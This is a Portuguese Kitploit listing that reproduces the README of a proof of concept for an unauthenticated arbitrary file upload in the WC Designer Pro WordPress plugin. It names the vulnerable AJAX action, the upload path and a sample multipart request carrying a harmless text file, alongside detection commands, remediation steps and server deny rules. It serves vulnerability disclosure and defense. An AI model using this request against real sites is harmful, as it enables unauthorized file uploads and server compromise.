Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-6440-Poc-Exploit | Kitploit
Ferramentas/GitHubGitHub/m2hcz/cve-2025-6440-poc-exploit
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubm2hcz/cve-2025-6440-poc-exploit

CVE-2025-6440-Poc-Exploit

Ver Repositório
12há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

WC Designer Pro — Upload Arbitrário de Arquivos Não Autenticado

Prova de Conceito de Pesquisa de Segurança

Python WordPress Research

CWE Severity Authentication

Uma prova de conceito não destrutiva para uma vulnerabilidade de upload arbitrário de arquivos não autenticado que afeta o plugin WC Designer Pro do WordPress.


Sumário

  • Visão Geral da Vulnerabilidade
  • Impacto de Segurança
  • Versões Afetadas
  • Causa Raiz
  • Fluxo do Ataque
  • Requisitos
  • Instalação
  • Uso
  • Detalhes Técnicos
  • Verificação Segura
  • Indicadores de Exposição
  • Remediação
  • Uso Legal e Ético
  • Status de Divulgação
  • Referências
  • Créditos

Visão Geral da Vulnerabilidade

O WC Designer Pro contém uma vulnerabilidade de upload arbitrário de arquivos não autenticado em uma ação AJAX exposta por meio do endpoint admin-ajax.php do WordPress.

O manipulador afetado processa metadados de arquivo e conteúdos de arquivo controlados pelo usuário sem aplicar autenticação, autorização, validação de extensão, validação de tipo MIME ou restrições de nome de arquivo no lado do servidor.

Em configurações vulneráveis, um atacante não autenticado pode conseguir enviar um arquivo executável pelo servidor para um diretório acessível pela web. A exploração bem-sucedida pode resultar em execução remota de código com os privilégios do processo do servidor web.

A faixa exata de versões afetadas, o identificador CVE e a pontuação CVSS só devem ser publicados após verificação independente.


Impacto de Segurança

A exploração bem-sucedida pode permitir que um atacante não autenticado:

  • Envie arquivos não autorizados para a instalação do WordPress.
  • Armazene arquivos em um diretório de uploads acessível publicamente.
  • Execute código no lado do servidor quando extensões executáveis forem aceitas.
  • Leia ou modifique dados acessíveis à conta do servidor web.
  • Comprometa a instalação do WordPress afetada.
  • Use o servidor comprometido como ponto de pivô para ataques adicionais.

O impacto final depende da configuração do servidor web, das regras de execução de PHP, das permissões do sistema de arquivos e dos controles de segurança implantados pelo provedor de hospedagem.


Versões Afetadas

A faixa de versões afetadas está atualmente em validação.

root@kitploit:~
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed

Não afirme que todas as versões são afetadas, a menos que testes ou confirmação do fornecedor sustentem essa conclusão.


Causa Raiz

O fluxo de upload vulnerável aparentemente confia em valores controlados pelo atacante fornecidos à seguinte ação AJAX:

root@kitploit:~
wcdp_save_canvas_design_ajax

A solicitação contém metadados de arquivo, como:

  • Extensão do arquivo
  • Identificador do arquivo
  • Identificador de destino
  • Conteúdos do arquivo enviado

A vulnerabilidade existe quando o servidor aceita esses valores sem executar todos os seguintes controles:

  1. Verificações de autenticação e autorização.
  2. Validação de nonce do WordPress.
  3. Lista de permissões estrita de extensões.
  4. Validação de tipo MIME com base no conteúdo do arquivo.
  5. Normalização e sanitização de nomes de arquivo.
  6. Aplicação de um destino de upload não executável.
  7. Prevenção de acesso web direto a arquivos temporários.

Fluxo do Ataque

root@kitploit:~
Unauthenticated request
          │
          ▼
/wp-admin/admin-ajax.php
          │
          ▼
action=wcdp_save_canvas_design_ajax
          │
          ▼
Insufficient validation of uploaded file
          │
          ▼
File written to a web-accessible directory
          │
          ▼
Potential server-side code execution

O caminho de upload observado segue esta estrutura:

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}

O caminho exato pode variar dependendo da versão do plugin, da configuração do WordPress e do ambiente do servidor.


Requisitos

  • Python 3.8 ou mais recente
  • pip
  • Um ambiente de laboratório WordPress
  • Um alvo autorizado
  • Uma instalação vulnerável do WC Designer Pro

Esta prova de conceito não deve ser usada contra sistemas de terceiros sem autorização explícita por escrito.


Instalação

Clone o repositório:

root@kitploit:~
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc

Crie e ative um ambiente virtual:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate

No Windows:

root@kitploit:~
python -m venv .venv
.venv\Scripts\Activate.ps1

Instale as dependências:

root@kitploit:~
pip install -r requirements.txt

Exemplo de requirements.txt:

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

Uso

A prova de conceito deve ser executada apenas contra um único alvo de laboratório autorizado.

root@kitploit:~
python3 exploit.py --url https://wordpress-lab.example

Para uma verificação não destrutiva:

root@kitploit:~
python3 exploit.py \
  --url https://wordpress-lab.example \
  --file ./payloads/verification.txt

Exemplo de arquivo de verificação:

root@kitploit:~
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing

Use o comando de ajuda integrado para visualizar os argumentos suportados:

root@kitploit:~
python3 exploit.py --help

Exemplo de saída:

root@kitploit:~
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]

WC Designer Pro arbitrary file-upload verification PoC

options:
  -h, --help         show this help message and exit
  --url URL          authorized WordPress target
  --file FILE        harmless verification file
  --timeout SECONDS  HTTP request timeout

Detalhes Técnicos

Endpoint Vulnerável

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary

A solicitação invoca:

root@kitploit:~
action=wcdp_save_canvas_design_ajax

Uma estrutura de solicitação simplificada é mostrada abaixo:

root@kitploit:~
------Boundary
Content-Disposition: form-data; name="action"

wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"

{
  "mode": "save",
  "editor": "frontend",
  "uniq": "research-verification",
  "files": [
    {
      "name": "verification",
      "ext": "txt",
      "count": "file1"
    }
  ]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain

Authorized security verification
------Boundary--

Este exemplo usa intencionalmente um arquivo de texto não executável.

Resposta Observada

Uma solicitação bem-sucedida pode retornar uma resposta semelhante a:

root@kitploit:~
{
  "userID": false,
  "filesCMYK": [],
  "success": true
}

Uma resposta bem-sucedida por si só não prova execução remota de código. O pesquisador deve confirmar separadamente que:

  1. O arquivo foi criado.
  2. O arquivo está acessível.
  3. O diretório de destino permite execução no lado do servidor.
  4. O teste foi conduzido em um ambiente autorizado.

Verificação Segura

O procedimento de verificação recomendado é:

  1. Implante o WordPress em um ambiente local isolado.
  2. Instale a versão suspeita do plugin vulnerável.
  3. Crie um arquivo de marcação .txt inofensivo.
  4. Envie a marcação usando a ação AJAX afetada.
  5. Confirme se o arquivo foi armazenado sem autenticação.
  6. Registre a solicitação e a resposta HTTP.
  7. Exclua o arquivo de marcação enviado.
  8. Destrua ou redefina o ambiente de laboratório.

Evite enviar web shells ou payloads de execução de comandos quando um arquivo de marcação inofensivo for suficiente para demonstrar a vulnerabilidade.

Evidências Esperadas

Um relatório válido deve conter:

  • Versão do WordPress.
  • Versão do WC Designer Pro.
  • Versões do servidor web e do PHP.
  • Solicitação HTTP completa.
  • Resposta HTTP completa.
  • Caminho do arquivo resultante.
  • Prova de que nenhuma sessão autenticada foi usada.
  • Captura de tela ou log confirmando a marcação enviada.
  • Confirmação de limpeza.

Indicadores de Exposição

Os administradores devem inspecionar o seguinte diretório:

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/

Os indicadores potenciais incluem:

  • Arquivos executáveis inesperados, como .php, .phtml, .phar ou similares.
  • Subdiretórios com nomes aleatórios.
  • Arquivos criados por usuários desconhecidos.
  • Solicitações a admin-ajax.php usando a ação AJAX afetada.
  • Solicitações HTTP acessando arquivos recém-criados dentro do diretório temporário de uploads.
  • Processos filhos criados inesperadamente pelo processo PHP ou do servidor web.

Exemplo de pesquisa em logs:

root@kitploit:~
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/

Exemplo de pesquisa no sistema de arquivos:

root@kitploit:~
find wp-content/uploads/wcdp-uploads/temp \
  -type f \
  \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)

Remediação

Os administradores do site devem:

  1. Atualizar o WC Designer Pro para uma versão corrigida confirmada quando uma estiver disponível.
  2. Desativar e remover o plugin quando não houver patch disponível.
  3. Bloquear a execução de scripts no lado do servidor dentro dos diretórios de uploads do WordPress.
  4. Inspecionar o diretório temporário de uploads em busca de arquivos não autorizados.
  5. Revisar os logs de acesso do servidor web em busca de tentativas de exploração.
  6. Rotacionar os salts do WordPress e as credenciais administrativas se houver suspeita de comprometimento.
  7. Rotacionar credenciais de banco de dados, hospedagem, FTP, SSH e API quando relevante.
  8. Reconstruir a instalação do WordPress a partir de fontes confiáveis após comprometimento confirmado.

Configuração de Servidor Recomendada

Para Nginx, negue a execução de PHP dentro dos uploads:

root@kitploit:~
location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

Para Apache, coloque uma regra apropriada dentro do diretório de uploads:

root@kitploit:~
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
    Require all denied
</FilesMatch>

Esses controles são medidas de defesa em profundidade e não substituem a correção do código vulnerável do plugin.

Controles Recomendados no Nível de Código

Os mantenedores do plugin devem:

  • Exigir autenticação quando apropriado.
  • Verificar as capacidades do usuário com current_user_can().
  • Exigir e validar um nonce do WordPress.
  • Usar uma lista de permissões estrita de extensões permitidas.
  • Validar arquivos usando wp_check_filetype_and_ext().
  • Gerar nomes de arquivo no lado do servidor.
  • Armazenar arquivos temporários fora da raiz web quando possível.
  • Impedir que conteúdo executável seja armazenado em diretórios de uploads.
  • Retornar erros genéricos sem expor caminhos internos.

Uso Legal e Ético

Este repositório destina-se exclusivamente a:

  • Testes de penetração autorizados.
  • Pesquisa de vulnerabilidades.
  • Validação defensiva.
  • Educação em segurança.
  • Reprodução em ambientes de laboratório isolados.

Não use este código para acessar, modificar, interromper ou comprometer sistemas sem autorização explícita.

O autor não é responsável pelo uso não autorizado, ilegal ou abusivo deste material. Os usuários são os únicos responsáveis por cumprir as leis, contratos, regras de engajamento e requisitos de divulgação coordenada de vulnerabilidades aplicáveis.


Status de Divulgação

root@kitploit:~
Discovery date:       To be added
Vendor contacted:     To be added
Vendor response:      To be added
Patch released:       To be added
CVE requested:        To be added
CVE assigned:         To be added
Public disclosure:    To be added

Não publique um CVE provisório como se fosse um identificador atribuído.

Quando um CVE for atribuído, substitua o espaço reservado pelo registro oficial:

root@kitploit:~
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment

Referências

  • Segurança de Plugins WordPress
  • Documentação AJAX do WordPress
  • Folha de Dicas de Upload de Arquivos da OWASP
  • Upload Irrestrito de Arquivos — OWASP
  • CWE-434: Upload Irrestrito de Arquivo com Tipo Perigoso

Créditos

m2hcz
Pesquisador de Segurança Ofensiva
GitHub · Portfólio

Histórico de Alterações

v1.0.0

  • Adicionado fluxo de verificação de vulnerabilidades.
  • Adicionado suporte a arquivos de marcação não destrutivos.
  • Adicionada detecção de exposição de endpoint e plugin.
  • Adicionada coleta estruturada de evidências.
  • Adicionado tratamento de timeout e erros em solicitações.
  • Adicionada orientação de remediação e resposta a incidentes.

A pesquisa de segurança deve reduzir riscos, não criá-los.

Feito para testes de segurança autorizados por m2hcz.

Baixar ferramenta
PropertyValue
ProdutoWC Designer Pro
PlataformaWordPress
Classe de vulnerabilidadeUpload arbitrário irrestrito de arquivos
CWECWE-434
Autenticação necessáriaNão
Interação do usuário necessáriaNão
Impacto potencialExecução remota de código
Complexidade do ataqueBaixa
Componente vulnerávelManipulador de upload AJAX do WordPress
Ação AJAXwcdp_save_canvas_design_ajax